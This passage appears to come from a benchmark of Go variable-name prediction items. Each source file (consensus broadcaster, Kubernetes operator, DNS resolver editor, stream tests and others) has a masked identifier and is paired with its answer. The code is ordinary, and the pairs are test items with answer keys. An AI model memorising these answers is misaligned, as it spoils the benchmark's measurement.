make(map[uint64]chan *pb.Message) for i := 0; i < N; i++ { if uint64(i) == self { continue } chans[uint64(i)] = make(chan *pb.Message, [MASK] ) } b := &broadcaster{ comm: c, f: f, msgChans: chans, closedCh: make(chan struct{}), } return b } func (b *broadcaster) Close() { close(b.closedCh) b.closed.Wait() } func (b *broadcaster) Wait() { b.closed.Wait() } func (b *broadcaster) unicastOne(msg *pb.Message, dest uint64, wait chan bool) { defer func() { b.closed.Done() wait <- true }() select { case <-b.closedCh: return default: } h, err := getValidatorHandle(dest) if err != nil { logger.Warningf(""could not get handle for replica %d"", dest) } else { err = b.comm.Unicast(msg, h) } if err != nil { logger.Debugf(""could not send to replica %d: %v"", dest, err) select { case <-b.closedCh: return case <-time.After(1 * time.Second): return } } } func (b *broadcaster) send(msg *pb.Message, dest *uint64) error { select { case <-b.closedCh: return fmt.Errorf(""broadcaster closed"") default: } var destCount int var required int if dest != nil { destCount = 1 required = 1 } else { destCount = len(b.msgChans) required = destCount - b.f } wait := make(chan bool, destCount) if dest != nil { b.closed.Add(1) go b.unicastOne(msg, *dest, wait) } else { b.closed.Add(len(b.msgChans)) for i := range b.msgChans { go b.unicastOne(msg, i, wait) } } for i := 0; i < required; i++ { <-wait } return nil } func (b *broadcaster) Unicast(msg *pb.Message, dest uint64) error { return b.send(msg, &dest) } func (b *broadcaster) Broadcast(msg *pb.Message) error { return b.send(msg, nil) } ",queueSize 949,"package api import ( ""fmt"" ""github.com/nel215/atcli/session"" ""github.com/nel215/atcli/store"" ""golang.org/x/net/html"" ""net/http"" ""net/http/cookiejar"" ""net/url"" ""strings"" ) type History struct { sessionStore interface { Load() (*session.Session, error) } configStore interface { Load() (*store.Config, error) } } func NewHistory() *History { return &History{ sessionStore: store.NewSessionStore(), configStore: store.NewConfigStore(), } } func (h *History) Execute() error { config, err := h.configStore.Load() if err != nil { return err } contestUrl := config.ContestUrl jar, err := cookiejar.New(nil) if err != nil { return err } u, err := url.Parse(contestUrl) if err != nil { return err } sess, err := h.sessionStore.Load() if err != nil { return err } [MASK] := sess.GetSessionCookies() jar.SetCookies(u, [MASK] ) http.DefaultClient.Jar = jar resp, err := http.Get(contestUrl + ""/submissions/me"") if err != nil { return err } defer resp.Body.Close() z := html.NewTokenizer(resp.Body) texts := []string{} fmt.Print(""# History\n\n"") for { tt := z.Next() switch { case tt == html.ErrorToken: return nil case tt == html.StartTagToken: t := z.Token() if t.Data != ""td"" { continue } for { z.Next() t = z.Token() if t.Data == ""td"" { break } if t.Type != html.TextToken { continue } texts = append(texts, t.Data) } case tt == html.EndTagToken: t := z.Token() if t.Data == ""tr"" { if len(texts) > 0 { fmt.Printf(""- %s\n"", strings.Join(texts, "", "")) texts = []string{} } } } } return nil } ",cookies 950,"package authenticate import ( ""encoding/json"" ""github.com/labstack/echo/v4"" ""net/http"" ""rbac-project/base"" ""rbac-project/response"" ) type controller struct { authenticator Authenticator } func NewController( authenticator Authenticator, ) base.Controller { return base.AddController(&controller{ authenticator: authenticator, }) } func (c *controller) RegisterRoutes(router *echo.Echo) { v1 := router.Group(""/v1"") v1.Add(http.MethodPost, ""/login"", base.EchoHandler(c.login)) } func (c *controller) login( [MASK] *http.Request) (response.BaseResponse, error) { var req LoginRequest if err := json.NewDecoder( [MASK] .Body).Decode(&req); err != nil { return response.BaseResponse{}, err } token, err := c.authenticator.Login(req) if err != nil { return response.BaseResponse{}, err } return response.BaseResponse{ Data: token, }, nil } ",request 951,"package app import ( ""fmt"" ""os"" ""path/filepath"" ""github.com/JacobJEdwards/Trash.go/pkg/config"" ""github.com/JacobJEdwards/Trash.go/pkg/utils"" ) func EmptyTrash(c *config.Config) error { trashDir := c.TrashDir logFilepath := c.Logfile if _, err := os.Stat(logFilepath); os.IsNotExist(err) { return fmt.Errorf(""log file does not exist: %s"", logFilepath) } if _, err := os.Stat(trashDir); os.IsNotExist(err) { return fmt.Errorf(""trash directory does not exist: %s"", trashDir) } proceed := utils.ProceedTask(""Are you sure you want to empty the trash? [y/N] "") if !proceed { return nil } [MASK] , err := os.ReadDir(trashDir) if err != nil { return fmt.Errorf(""error reading trash directory: %v"", err) } for _, file := range [MASK] { filePath := filepath.Join(trashDir, file.Name()) err := os.RemoveAll(filePath) if err != nil { return fmt.Errorf(""error removing file %s: %v"", file.Name(), err) } } err = os.Truncate(logFilepath, 0) if err != nil { return fmt.Errorf(""error writing to log file: %v"", err) } return nil } ",files 952,"package main import ( ""io/ioutil"" ""log"" ""gopkg.in/yaml.v2"" ) type AppConfig struct { ScanInterval int `yaml:""scan_interval""` ScanTimeout int `yaml:""scan_timeout""` ScanDup bool `yaml:""scan_duplicate""` BufferSize int `yaml:""buffer_size""` MQTTAddress string `yaml:""mqtt_address""` MQTTTopic string `yaml:""mqtt_topic""` MQTTOnTopic string `yaml:""mqtt_on_topic""` MQTTOffTopic string `yaml:""mqtt_off_topic""` ThrowInterval int `yaml:""throw_interval""` API_Url string `yaml:""api_url""` } func (a *AppConfig) readFrom(cfg string) { log.Printf(""Reading configuration from file %s"", cfg) [MASK] , err := ioutil.ReadFile(cfg) if err != nil { panic(err) } err = yaml.Unmarshal( [MASK] , a) if err != nil { panic(err) } } func (a AppConfig) GetScanDup() bool { return a.ScanDup } ",yamlFile 953,"/* Copyright IBM Corp. 2016 All Rights Reserved. Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package localconfig import ( ""fmt"" ""strings"" ""time"" ""github.com/hyperledger/fabric/common/flogging"" ""github.com/hyperledger/fabric/common/viperutil"" ""github.com/spf13/viper"" ""path/filepath"" bccsp ""github.com/hyperledger/fabric/bccsp/factory"" cf ""github.com/hyperledger/fabric/core/config"" ) var logger = flogging.MustGetLogger(""configtx/tool/localconfig"") const ( // SampleInsecureProfile references the sample profile which does not include any MSPs and uses solo for ordering. SampleInsecureProfile = ""SampleInsecureSolo"" // SampleSingleMSPSoloProfile references the sample profile which includes only the sample MSP and uses solo for ordering. SampleSingleMSPSoloProfile = ""SampleSingleMSPSolo"" // Prefix identifies the prefix for the configtxgen-related ENV vars. Prefix string = ""CONFIGTX"" ) // TopLevel consists of the structs used by the configtxgen tool. type TopLevel struct { Profiles map[string]*Profile `yaml:""Profiles""` Organizations []*Organization `yaml:""Organizations""` Application *Application `yaml:""Application""` Orderer *Orderer `yaml:""Orderer""` } // Profile encodes orderer/application configuration combinations for the configtxgen tool. type Profile struct { Application *Application `yaml:""Application""` Orderer *Orderer `yaml:""Orderer""` } // Application encodes the application-level configuration needed in config transactions. type Application struct { Organizations []*Organization `yaml:""Organizations""` } // Organization encodes the organization-level configuration needed in config transactions. type Organization struct { Name string `yaml:""Name""` ID string `yaml:""ID""` MSPDir string `yaml:""MSPDir""` BCCSP *bccsp.FactoryOpts `yaml:""BCCSP""` // Note: Viper deserialization does not seem to care for // embedding of types, so we use one organization struct // for both orderers and applications. AnchorPeers []*AnchorPeer `yaml:""AnchorPeers""` } // AnchorPeer encodes the necessary fields to identify an anchor peer. type AnchorPeer struct { Host string `yaml:""Host""` Port int `yaml:""Port""` } // ApplicationOrganization ... // TODO This should probably be removed type ApplicationOrganization struct { Organization `yaml:""Organization""` } // Orderer contains configuration which is used for the // bootstrapping of an orderer by the provisional bootstrapper. type Orderer struct { OrdererType string `yaml:""OrdererType""` Addresses []string `yaml:""Addresses""` BatchTimeout time.Duration `yaml:""BatchTimeout""` BatchSize BatchSize `yaml:""BatchSize""` Kafka Kafka `yaml:""Kafka""` Organizations []*Organization `yaml:""Organizations""` MaxChannels uint64 `yaml:""MaxChannels""` } // BatchSize contains configuration affecting the size of batches. type BatchSize struct { MaxMessageCount uint32 `yaml:""MaxMessageSize""` AbsoluteMaxBytes uint32 `yaml:""AbsoluteMaxBytes""` PreferredMaxBytes uint32 `yaml:""PreferredMaxBytes""` } // Kafka contains configuration for the Kafka-based orderer. type Kafka struct { Brokers []string `yaml:""Brokers""` } var genesisDefaults = TopLevel{ Orderer: &Orderer{ OrdererType: ""solo"", Addresses: []string{""127.0.0.1:7050""}, BatchTimeout: 2 * time.Second, BatchSize: BatchSize{ MaxMessageCount: 10, AbsoluteMaxBytes: 100000000, PreferredMaxBytes: 512 * 1024, }, Kafka: Kafka{ Brokers: []string{""127.0.0.1:9092""}, }, }, } func (p *Profile) initDefaults() { for { switch { case p.Orderer.OrdererType == """": logger.Infof(""Orderer.OrdererType unset, setting to %s"", genesisDefaults.Orderer.OrdererType) p.Orderer.OrdererType = genesisDefaults.Orderer.OrdererType case p.Orderer.Addresses == nil: logger.Infof(""Orderer.Addresses unset, setting to %s"", genesisDefaults.Orderer.Addresses) p.Orderer.Addresses = genesisDefaults.Orderer.Addresses case p.Orderer.BatchTimeout == 0: logger.Infof(""Orderer.BatchTimeout unset, setting to %s"", genesisDefaults.Orderer.BatchTimeout) p.Orderer.BatchTimeout = genesisDefaults.Orderer.BatchTimeout case p.Orderer.BatchSize.MaxMessageCount == 0: logger.Infof(""Orderer.BatchSize.MaxMessageCount unset, setting to %s"", genesisDefaults.Orderer.BatchSize.MaxMessageCount) p.Orderer.BatchSize.MaxMessageCount = genesisDefaults.Orderer.BatchSize.MaxMessageCount case p.Orderer.BatchSize.AbsoluteMaxBytes == 0: logger.Infof(""Orderer.BatchSize.AbsoluteMaxBytes unset, setting to %s"", genesisDefaults.Orderer.BatchSize.AbsoluteMaxBytes) p.Orderer.BatchSize.AbsoluteMaxBytes = genesisDefaults.Orderer.BatchSize.AbsoluteMaxBytes case p.Orderer.BatchSize.PreferredMaxBytes == 0: logger.Infof(""Orderer.BatchSize.PreferredMaxBytes unset, setting to %s"", genesisDefaults.Orderer.BatchSize.PreferredMaxBytes) p.Orderer.BatchSize.PreferredMaxBytes = genesisDefaults.Orderer.BatchSize.PreferredMaxBytes case p.Orderer.Kafka.Brokers == nil: logger.Infof(""Orderer.Kafka.Brokers unset, setting to %v"", genesisDefaults.Orderer.Kafka.Brokers) p.Orderer.Kafka.Brokers = genesisDefaults.Orderer.Kafka.Brokers default: return } } } func translatePaths(configDir string, org *Organization) { cf.TranslatePathInPlace(configDir, &org.MSPDir) cf.TranslatePathInPlace(configDir, &org.BCCSP.SwOpts.FileKeystore.KeyStorePath) } func (p *Profile) completeInitialization(configDir string) { p.initDefaults() // Fix up any relative paths for _, org := range p.Application.Organizations { translatePaths(configDir, org) } for _, org := range p.Orderer.Organizations { translatePaths(configDir, org) } } // Load returns the orderer/application config combination that corresponds to a given profile. func Load(profile string) *Profile { config := viper.New() cf.InitViper(config, ""configtx"") // For environment variables config.SetEnvPrefix(Prefix) config.AutomaticEnv() // This replacer allows substitution within the particular profile without having to fully qualify the name replacer := strings.NewReplacer(strings.ToUpper(fmt.Sprintf(""profiles.%s."", profile)), """", ""."", ""_"") config.SetEnvKeyReplacer(replacer) err := config.ReadInConfig() if err != nil { logger.Panicf(""Error reading configuration: %s"", err) } var [MASK] TopLevel err = viperutil.EnhancedExactUnmarshal(config, & [MASK] ) if err != nil { logger.Panicf(""Error unmarshaling config into struct: %s"", err) } result, ok := [MASK] .Profiles[profile] if !ok { logger.Panicf(""Could not find profile %s"", profile) } result.completeInitialization(filepath.Dir(config.ConfigFileUsed())) return result } ",uconf 954,"package stub import ( ""fmt"" ""reflect"" ""github.com/droot/memcached-operator/pkg/apis/memcached/v1alpha1"" ""github.com/coreos/operator-sdk/pkg/sdk/action"" ""github.com/coreos/operator-sdk/pkg/sdk/handler"" ""github.com/coreos/operator-sdk/pkg/sdk/query"" ""github.com/coreos/operator-sdk/pkg/sdk/types"" ""github.com/sirupsen/logrus"" appsv1 ""k8s.io/api/apps/v1"" ""k8s.io/api/core/v1"" ""k8s.io/apimachinery/pkg/api/errors"" metav1 ""k8s.io/apimachinery/pkg/apis/meta/v1"" ""k8s.io/apimachinery/pkg/labels"" ) func NewHandler() handler.Handler { return &Handler{} } type Handler struct { // Fill me } func (h *Handler) Handle(ctx types.Context, event types.Event) error { switch o := event.Object.(type) { case *v1alpha1.Memcached: memcached := o // If owner references are set appropriately, we don't have to do // anything specific. Everything below this CR in the owner chain will // get deleted automatically. if event.Deleted { return nil } return syncMemcached(memcached) case *v1.Pod: logrus.Infof(""got a change notification for Pod: %v"", o) // find the parent to be re-conciled pod := o memcached, err := getMemcachedControllerOf(pod) if err != nil { logrus.Infof(""error looking up controller object for pod: %v"", err) return err } if memcached == nil { logrus.Infof(""found pod not belonging to memcached service"") return nil } err = syncMemcached(memcached) if err != nil { logrus.Errorf(""error syncing memcached: %v"", err) return err } } return nil } func getMemcachedControllerOf(pod *v1.Pod) (*v1alpha1.Memcached, error) { ownerRef := metav1.GetControllerOf(pod) if ownerRef == nil { logrus.Infof(""found object with no owner reference, so skipping"") return nil, nil } rs := &appsv1.ReplicaSet{ TypeMeta: metav1.TypeMeta{ APIVersion: ownerRef.APIVersion, Kind: ownerRef.Kind, }, ObjectMeta: metav1.ObjectMeta{ Name: ownerRef.Name, Namespace: pod.Namespace, }, } err := query.Get(rs) if err != nil { logrus.Infof(""error in query replicaset: %v"", rs) return nil, err } ownerRef = metav1.GetControllerOf(rs) if ownerRef == nil { logrus.Infof(""found object with no owner reference, so skipping"") return nil, nil } dep := &appsv1.Deployment{ TypeMeta: metav1.TypeMeta{ APIVersion: ownerRef.APIVersion, Kind: ownerRef.Kind, }, ObjectMeta: metav1.ObjectMeta{ Name: ownerRef.Name, Namespace: pod.Namespace, }, } err = query.Get(dep) if err != nil { logrus.Infof(""error in query deployment: %v"", dep) return nil, err } ownerRef = metav1.GetControllerOf(dep) if ownerRef == nil { logrus.Infof(""found object with no owner reference, so skipping"") return nil, nil } memcached := &v1alpha1.Memcached{ TypeMeta: metav1.TypeMeta{ APIVersion: ownerRef.APIVersion, Kind: ownerRef.Kind, }, ObjectMeta: metav1.ObjectMeta{ Name: ownerRef.Name, Namespace: pod.Namespace, }, } err = query.Get(memcached) if ownerRef == nil { logrus.Infof(""found object with no owner reference, so skipping"") return nil, nil } if err != nil { logrus.Infof(""error in query memcached: %v"", memcached) return nil, err } return memcached, nil } func syncMemcached(m *v1alpha1.Memcached) error { dep := deploymentForMemcached(m) err := action.Create(dep) if err != nil && !errors.IsAlreadyExists(err) { logrus.Errorf(""Failed to create busybox pod : %v"", err) return err } // here we should check desired vs real state and adjust // Ensure the deployment size is the same as the spec err = query.Get(dep) if err != nil { return fmt.Errorf(""failed to get deployment: %v"", err) } size := m.Spec.Size if *dep.Spec.Replicas != size { dep.Spec.Replicas = &size err = action.Update(dep) if err != nil { return fmt.Errorf(""failed to update deployment: %v"", err) } } // Update the Memcached status with the pod names podList := podList() labelSelector := labels.SelectorFromSet(labelsForMemcached(m.Name)).String() listOps := &metav1.ListOptions{LabelSelector: labelSelector} err = query.List(m.Namespace, podList, query.WithListOptions(listOps)) if err != nil { return fmt.Errorf(""failed to list pods: %v"", err) } podNames := getPodNames(podList.Items) if !reflect.DeepEqual(podNames, m.Status.Nodes) { m.Status.Nodes = podNames err := action.Update(m) if err != nil { return fmt.Errorf(""failed to update memcached status: %v"", err) } } return nil } // labelsForMemcached returns the labels for selecting the resources // belonging to the given memcached CR name. func labelsForMemcached(name string) map[string]string { return map[string]string{""app"": ""memcached"", ""memcached_cr"": name} } // addOwnerRefToObject appends the desired OwnerReference to the object func addOwnerRefToObject(obj metav1.Object, ownerRef metav1.OwnerReference) { obj.SetOwnerReferences(append(obj.GetOwnerReferences(), ownerRef)) } // asOwner returns an OwnerReference set as the memcached CR func asOwner(m *v1alpha1.Memcached) metav1.OwnerReference { [MASK] := true return metav1.OwnerReference{ APIVersion: m.APIVersion, Kind: m.Kind, Name: m.Name, UID: m.UID, Controller: & [MASK] , } } // deploymentForMemcached returns a memcached Deployment object func deploymentForMemcached(m *v1alpha1.Memcached) *appsv1.Deployment { ls := labelsForMemcached(m.Name) replicas := m.Spec.Size dep := &appsv1.Deployment{ TypeMeta: metav1.TypeMeta{ APIVersion: ""apps/v1"", Kind: ""Deployment"", }, ObjectMeta: metav1.ObjectMeta{ Name: m.Name, Namespace: m.Namespace, }, Spec: appsv1.DeploymentSpec{ Replicas: &replicas, Selector: &metav1.LabelSelector{ MatchLabels: ls, }, Template: v1.PodTemplateSpec{ ObjectMeta: metav1.ObjectMeta{ Labels: ls, }, Spec: v1.PodSpec{ Containers: []v1.Container{{ Image: ""memcached:1.4.36-alpine"", Name: ""memcached"", Command: []string{""memcached"", ""-m=64"", ""-o"", ""modern"", ""-v""}, Ports: []v1.ContainerPort{{ ContainerPort: 11211, Name: ""memcached"", }}, }}, }, }, }, } addOwnerRefToObject(dep, asOwner(m)) return dep } // podList returns a v1.PodList object func podList() *v1.PodList { return &v1.PodList{ TypeMeta: metav1.TypeMeta{ Kind: ""Pod"", APIVersion: ""v1"", }, } } // getPodNames returns the pod names of the array of pods passed in func getPodNames(pods []v1.Pod) []string { var podNames []string for _, pod := range pods { podNames = append(podNames, pod.Name) } return podNames } ",trueVar 955,"package dns import ( ""bufio"" ""context"" ""github.com/charmbracelet/log"" dnsp ""github.com/lilpipidron/Host-DNS-Updater/proto/service/dns"" ""google.golang.org/protobuf/types/known/emptypb"" ""os"" ""strings"" ) type Service struct { dnsp.DNSServiceServer } func (s *Service) GetListDNS(ctx context.Context, empty *emptypb.Empty) (*dnsp.DNSListReply, error) { file, err := os.Open(""/etc/resolv.conf"") if err != nil { log.Error(""Failed open file"", ""error"", err) return nil, err } defer file.Close() scanner := bufio.NewScanner(file) var list []string for scanner.Scan() { line := scanner.Text() if strings.HasPrefix(line, ""nameserver"") { fields := strings.Fields(line) if len(fields) > 1 { list = append(list, fields[1]) } } } if err := scanner.Err(); err != nil { log.Error(""Failed read file"", ""error"", err) return nil, err } log.Info(""Successfully get dns list"") return &dnsp.DNSListReply{DnsList: list}, nil } func (s *Service) AddDNS(ctx context.Context, req *dnsp.AddDNSRequest) (*emptypb.Empty, error) { file, err := os.OpenFile(""/etc/resolv.conf"", os.O_APPEND|os.O_WRONLY, 0644) if err != nil { log.Error(""Failed open file"", ""error"", err) return &emptypb.Empty{}, err } defer file.Close() _, err = file.WriteString(""nameserver "" + req.Dns + ""\n"") if err != nil { log.Error(""Failed write file"", ""error"", err) return &emptypb.Empty{}, err } log.Info(""Successfully added DNS"", ""dns"", req.Dns) return &emptypb.Empty{}, nil } func (s *Service) DeleteDNS(ctx context.Context, req *dnsp.DeleteDNSRequest) (*emptypb.Empty, error) { file, err := os.Open(""/etc/resolv.conf"") if err != nil { log.Error(""Failed open file"", ""error"", err) return &emptypb.Empty{}, err } defer file.Close() var lines []string scanner := bufio.NewScanner(file) for scanner.Scan() { line := scanner.Text() if !strings.Contains(line, req.Dns) { lines = append(lines, line) } } if err := scanner.Err(); err != nil { log.Error(""Failed read file"", ""error"", err) return &emptypb.Empty{}, err } [MASK] , err := os.OpenFile(""/etc/resolv.conf"", os.O_WRONLY|os.O_TRUNC, 0644) if err != nil { log.Error(""Failed open file"", ""error"", err) return &emptypb.Empty{}, err } defer [MASK] .Close() writer := bufio.NewWriter( [MASK] ) for _, line := range lines { _, err := writer.WriteString(line + ""\n"") if err != nil { log.Error(""Failed write file"", ""error"", err) return &emptypb.Empty{}, err } } if err := writer.Flush(); err != nil { log.Error(""Failed flush"", ""error"", err) return &emptypb.Empty{}, err } log.Info(""Successfully deleted DNS"", ""dns"", req.Dns) return &emptypb.Empty{}, nil } ",outputFile 956,"package stream_test import ( ""testing"" ""github.com/miajio/aide/pkg/stream"" ) // 测试 NewSlice 函数的正常情况 func TestNewSlice(t *testing.T) { // 定义一些测试数据 [MASK] := []any{1, 2, 3} datas2 := []any{""a"", ""b"", ""c""} // 创建切片实例 s1 := stream.NewSlice( [MASK] ...) s2 := stream.NewSlice(datas2...) // 验证切片的属性 if s1.Size() != len( [MASK] ) { t.Errorf(""Expected size %d, got %d"", len( [MASK] ), s1.Size()) } if s2.Size() != len(datas2) { t.Errorf(""Expected size %d, got %d"", len(datas2), s2.Size()) } } // 测试 NewSlice 函数的边界情况 func TestNewSliceEmpty(t *testing.T) { // 创建空切片实例 s := stream.NewSlice() // 验证切片的属性 if s.Size() != 0 { t.Errorf(""Expected size 0, got %d"", s.Size()) } } // TestAdd 测试 Add 方法 func TestAdd(t *testing.T) { s := &stream.Slice{} // 测试添加一个元素 s.Add(1) if len(s.ToList(nil)) != 1 || s.Size() != 1 { t.Errorf(""添加一个元素失败"") } // 测试添加多个元素 s.Add(2) s.Add(3) if len(s.ToList(nil)) != 3 || s.Size() != 3 { t.Errorf(""添加多个元素失败"") } // 测试添加 nil 元素 s.Add(nil) // 验证切片的属性 if s.Size() != 4 { t.Errorf(""Expected size 4, got %d"", s.Size()) } // 验证切片的内容 if s.Get(0) != 1 || s.Get(1) != 2 || s.Get(2) != 3 || s.Get(3) != nil { t.Errorf(""切片的内容错误"") } if !s.Contains(nil) { t.Errorf(""切片中不包含 nil 元素"") } } func TestSlice_AddAll(t *testing.T) { // 创建一个测试用的 Slice 实例 s := &stream.Slice{} // 测试空数据添加 s.AddAll() if len(s.ToList(nil)) != 0 || s.Size() != 0 { t.Errorf(""添加空数据后,长度或大小不应改变"") } // 测试添加单个数据 s.AddAll(1) if len(s.ToList(nil)) != 1 || s.Size() != 1 { t.Errorf(""添加单个数据后,长度或大小不正确"") } // 测试添加多个数据 s.AddAll(2, 3, 4) if len(s.ToList(nil)) != 4 || s.Size() != 4 { t.Errorf(""添加多个数据后,长度或大小不正确"") } } func TestSlice_Get(t *testing.T) { s := stream.NewSlice(1, 2, 3, 4, 5) // 正常情况 val := s.Get(0) if val != 1 { t.Errorf(""Expected 1, got %v"", val) } // 边界情况:索引超出范围 val = s.Get(len(s.ToList(nil))) if val != nil { t.Errorf(""Expected nil, got %v"", val) } } func TestSet(t *testing.T) { // 创建测试用的 Slice 实例 slice := stream.NewSlice() // 边界情况:索引超出范围 slice = slice.Set(-1, ""invalid"") if slice == nil { t.Errorf(""Expected error for invalid index, got nil"") } // 正常情况:设置数据 slice.Set(0, ""data1"") if slice.Get(0) != ""data1"" { t.Errorf(""Expected data1, got %v"", slice.Get(0)) } slice.Set(1, ""data2"") if slice.Get(1) != ""data2"" { t.Errorf(""Expected data2, got %v"", slice.Get(1)) } slice = slice.Set(slice.Size(), ""invalid2"") if slice == nil { t.Errorf(""Expected error for invalid index, got nil"") } } // 测试正常删除中间元素 func TestRemoveMiddle(t *testing.T) { s := stream.NewSlice(1, 2, 3, 4, 5) result := s.Remove(2) expected := stream.NewSlice(1, 2, 4, 5) if !sliceEqual(result, expected) { t.Errorf(""Expected %v, got %v"", expected, result) } } // 测试删除头部元素 func TestRemoveHead(t *testing.T) { s := stream.NewSlice(1, 2, 3, 4, 5) result := s.Remove(0) expected := stream.NewSlice(2, 3, 4, 5) if !sliceEqual(result, expected) { t.Errorf(""Expected %v, got %v"", expected, result) } } // 测试删除尾部元素 func TestRemoveTail(t *testing.T) { s := stream.NewSlice(1, 2, 3, 4, 5) result := s.Remove(4) expected := stream.NewSlice(1, 2, 3, 4) if !sliceEqual(result, expected) { t.Errorf(""Expected %v, got %v"", expected, result) } } // 测试删除越界索引 func TestRemoveOutOfBounds(t *testing.T) { s := stream.NewSlice(1, 2, 3, 4, 5) result := s.Remove(10) expected := s if result != expected { t.Errorf(""Expected %v, got %v"", expected, result) } } // 判断两个切片是否相等的辅助函数 func sliceEqual(s1, s2 *stream.Slice) bool { if s1.Size() != s2.Size() { return false } data1 := s1.ToList(nil) data2 := s2.ToList(nil) for i := range data1 { if data1[i] != data2[i] { return false } } return true } // 测试 IsEmpty 函数 func TestIsEmpty(t *testing.T) { // 创建一个空的切片实例 slice := stream.NewSlice() // 验证空切片的 IsEmpty 结果应该为 true if !slice.IsEmpty() { t.Errorf(""Expected IsEmpty to be true for an empty slice"") } // 添加一个元素到切片 slice.Add(1) // 验证非空切片的 IsEmpty 结果应该为 false if slice.IsEmpty() { t.Errorf(""Expected IsEmpty to be false for a non-empty slice"") } } // Contains 函数的测试用例 func TestContains(t *testing.T) { // 创建示例切片 s := stream.NewSlice(1, 2, 3, 4, 5) // 测试包含的数据 if !s.Contains(3) { t.Errorf(""Expected true, got false"") } // 测试不包含的数据 if s.Contains(6) { t.Errorf(""Expected false, got true"") } } // 测试 IndexOf 函数 func TestIndexOf(t *testing.T) { // 创建 Slice 实例 slice := stream.NewSlice() // 测试空切片 index := slice.IndexOf(1) if index != -1 { t.Errorf(""Expected -1 for empty slice, got %d"", index) } // 添加元素 slice.Add(1) slice.Add(2) slice.Add(3) // 测试存在的元素 index = slice.IndexOf(2) if index != 1 { t.Errorf(""Expected index 1 for element 2, got %d"", index) } // 测试不存在的元素 index = slice.IndexOf(4) if index != -1 { t.Errorf(""Expected -1 for non-existing element, got %d"", index) } } func TestSlice(t *testing.T) { // 创建一个测试切片 slice := stream.NewSlice(1, 2, 3, 4, 5) slice.ForEach(func(data any) { if data.(int)%2 == 0 { slice.Remove(slice.IndexOf(data)) } }).Filter(func(data any) bool { return data.(int) > 3 }).Add(1).Sort(func(i, j any) bool { return i.(int) > j.(int) }) if !slice.Contains(1) && !slice.Contains(5) { t.Errorf(""Expected true, got false"") } m := slice.ToMap(func(data any) stream.KV { var res stream.KV if data.(int) == 1 { res.Key = ""a"" res.Value = 1 } else { res.Key = ""b"" res.Value = 5 } return res }) if m[""a""] != 1 && m[""b""] != 5 { t.Errorf(""Expected true, got false"") } } ",datas1 957,"package pcscommand import ( ""container/list"" ""fmt"" ""github.com/iikira/BaiduPCS-Go/baidupcs"" ""github.com/iikira/BaiduPCS-Go/baidupcs/pcserror"" ""path"" ""strings"" ) type ( etask struct { *ListTask path string err pcserror.Error } ) // RunExport 执行导出文件和目录 func RunExport(pcspaths []string, rootPath string) { pcspaths, err := getAllAbsPaths(pcspaths...) if err != nil { fmt.Println(err) return } var ( pcs = GetBaiduPCS() invalidList = list.New() failedList = list.New() ) for _, pcspath := range pcspaths { getPath := func(p string) string { if rootPath == """" { return p } // 是一个单独文件 if pcspath == p { return path.Join(rootPath, strings.TrimPrefix(p, path.Dir(pcspath))) } return path.Join(rootPath, strings.TrimPrefix(p, pcspath)) } var ( d int cmdStr string ) pcs.FilesDirectoriesRecurseList(pcspath, baidupcs.DefaultOrderOptions, func(depth int, fdPath string, fd *baidupcs.FileDirectory, [MASK] pcserror.Error) bool { if [MASK] != nil { pcsCommandVerbose.Warnf(""%s\n"", [MASK] ) failedList.PushBack(&etask{ ListTask: &ListTask{ MaxRetry: DefaultDownloadMaxRetry, }, path: fdPath, err: [MASK] , }) return true } if fd.Isdir { if depth > d { d = depth } else { fmt.Printf(""BaiduPCS-Go mkdir \""%s\""\n"", getPath(fd.Path)) d = 0 } return true } cmdStr = fmt.Sprintf(""BaiduPCS-Go rapidupload -length=%d -md5=%s \""%s\"""", fd.Size, fd.MD5, getPath(fd.Path)) if len(fd.BlockList) > 1 { invalidList.PushBack(cmdStr) } else { fmt.Print(cmdStr + ""\n"") } return true }) } if failedList.Len() > 0 { // 暂不重试 fmt.Printf(""\n以下目录加载失败: \n"") fmt.Printf(""%s\n"", strings.Repeat(""-"", 100)) for e := failedList.Front(); e != nil; e = e.Next() { fmt.Printf(""%s\n"", e.Value.(*etask).path) } } if invalidList.Len() > 0 { fmt.Printf(""\n以下文件可能无法导出: \n"") fmt.Printf(""%s\n"", strings.Repeat(""-"", 100)) for e := invalidList.Front(); e != nil; e = e.Next() { fmt.Printf(""%s\n"", e.Value.(string)) } } } ",pcsError 958,"package main import ( ""bufio"" ""crypto/md5"" ""fmt"" ""github.com/jinzhu/now"" ""hello-go/char"" ""io"" ""math"" ""net/http"" ""os"" ""strconv"" ""time"" ) type Rectangle struct { width, height float64 } type Circle struct { Rectangle radius float64 } func (r Rectangle) area() float64 { return r.width * r.height } func (c Circle) area() float64 { return c.width * c.radius * math.Pi } func AfterFunc(f func()) { goFunc(f) } func goFunc(arg any) { //type any = interface{} switch arg.(type) { case int: fmt.Println(arg, ""is an int value."") case string: fmt.Println(arg, ""is a string value."") case int64: fmt.Println(arg, ""is an int64 value."") case func(): fmt.Println(arg, ""is an func() type."") default: fmt.Println(arg, ""is an unknown type."") } //强制转换 arg 为 func() 类型(无参数),再执行该 func go arg.(func())() } type Human interface { say(s string) } type Parent struct { Human s string } //func (p Parent) say(s string) { // fmt.Println(s) // p.s = s //} func (p *Parent) say(s string) { fmt.Println(s) p.s = s } func main() { func(human Human) { human.say(""hello parent"") fmt.Printf(""human %#v\n"", human) }(&Parent{}) AfterFunc(func() { fmt.Println(""I'm AfterFunc"") }) resp, err := http.Get(""https://baidu.com"") if err != nil { fmt.Fprintf(os.Stderr, ""fetch: %v\n"", err) os.Exit(1) } //b, err := io.ReadAllAndClose(resp.Body) //fmt.Println(string(b)) io.Copy(os.Stdout, resp.Body) [MASK] := make(map[string]int) input := bufio.NewScanner(os.Stdin) //Ctrl+D in linux or Ctrl+Z in windows to stop Scan var cc int for input.Scan() && cc < 10 { [MASK] [input.Text()]++ cc++ } // NOTE: ignoring potential errors from input.Err() for line, n := range [MASK] { if n > 1 { fmt.Printf(""%d\t%s\n"", n, line) } } r1 := Rectangle{12, 2} r2 := Rectangle{9, 4} c1 := Circle{r1, 10} c2 := Circle{r2, 25} fmt.Println(""Area of r1 is: "", r1.area()) fmt.Println(""Area of r2 is: "", r2.area()) fmt.Println(""Area of c1 is: "", c1.area()) fmt.Println(""Area of c2 is: "", c2.area()) fmt.Println(time.Now()) fmt.Println(""hello 